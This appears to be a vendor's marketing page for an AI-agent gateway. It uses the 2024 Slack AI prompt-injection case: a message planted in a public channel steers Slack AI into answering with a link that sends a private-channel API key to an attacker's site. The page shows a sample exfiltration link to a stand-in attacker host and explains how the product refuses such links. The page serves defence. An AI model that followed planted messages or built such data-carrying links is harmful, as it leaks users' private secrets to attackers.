Skip to content

A planted message could make Slack AI leak private-channel data

PromptArmor showed that a message planted in a public channel could make Slack AI answer with a link carrying data from a private channel. Salesforce deployed a patch.2

Get 30 minutes free every day, forever.3SOC 2 Type II499.9% uptime SLA on Pro4
Slack AIAugust 2024Refused

42 of 50

Stopped Limited: the payment went out through the bank’s own system This case: Slack AI. The gate refuses it.

What happened

A public message steered what Slack AI said about private data.

  1. The message. An attacker could plant a message in a public channel. Slack AI searches public and private channels.

  2. The question. Asked for an API key from a private channel, Slack AI could answer with a link carrying it.

  3. The click. Clicking the link sent the key to the attacker’s site. Salesforce later deployed a patch.2

How the gate handles it

Through the sealed gate, a link like this would have been refused.

Under the link check, no data from a private read would have gone out in a link or image address. Press Play to watch an answer like it.5

Answer carrying a link with private-channel text in its query stringSample6
  1. messageError loading [click here](https://attacker.example/?secret=sk_live_51Hx)Refusedprivate_data_in_outbound
How easy

A team could refuse any Slack agent link carrying private text in three steps.

Sample
Seal a keyslack
Slack bot token
Paste your Slack bot token
Your agent never sees the token.
Slack rulesslack
Reads of private channels
Links carrying private text
Posts to public channels
Allowed pages onlypages, not whole sites
After a private read, links are checked for private text.
Where approvals goAsk first
Slack
Microsoft Teams
Telegram
Email
A person approves or denies each call that asks first.

Approvals and signed records come with Pro, Gate only and Custom. On Free, a rule that asks first refuses instead.7

In code

Or in four lines of code.

The same three steps, from the terminal.

Sample
What each line does
1Seal the keysealedbox keys sealThe agent gets sbk_live_6Js2…p7.
2Set the rulessealedbox rules addPrivate text in links refused.
3Connect approvalssealedbox approvals connectAsk-first calls go to #assistant.
Try it

Put the gate in front of your agent today.

Run three practice calls in five minutes, then check their records on your own computer. Test mode, on every plan.

Start free$ sealedbox try5-minute practice run9
Scope

What the gate doesn’t change, and three failures like this one.

Related cases
Answers11

Questions about this case and the gate.

Still have a question?Book a callAll questions
Could the gate have stopped Slack AI itself?

No. Slack AI runs inside Slack, outside any gate; the link check applies to your own agents whose Slack key is sealed with SealedBox.

Would an encoded key slip through?

No. The link check catches private text as read or encoded, in a link or an image address.

Does the gate stop the planted message?

No. The gate checks calls, not prompts: the message still reaches the agent, and the link it leads to is refused.

Can the agent post in a public channel after a private read?

After a private read, public writes ask first on Pro, Gate only and Custom. On Free they are refused instead.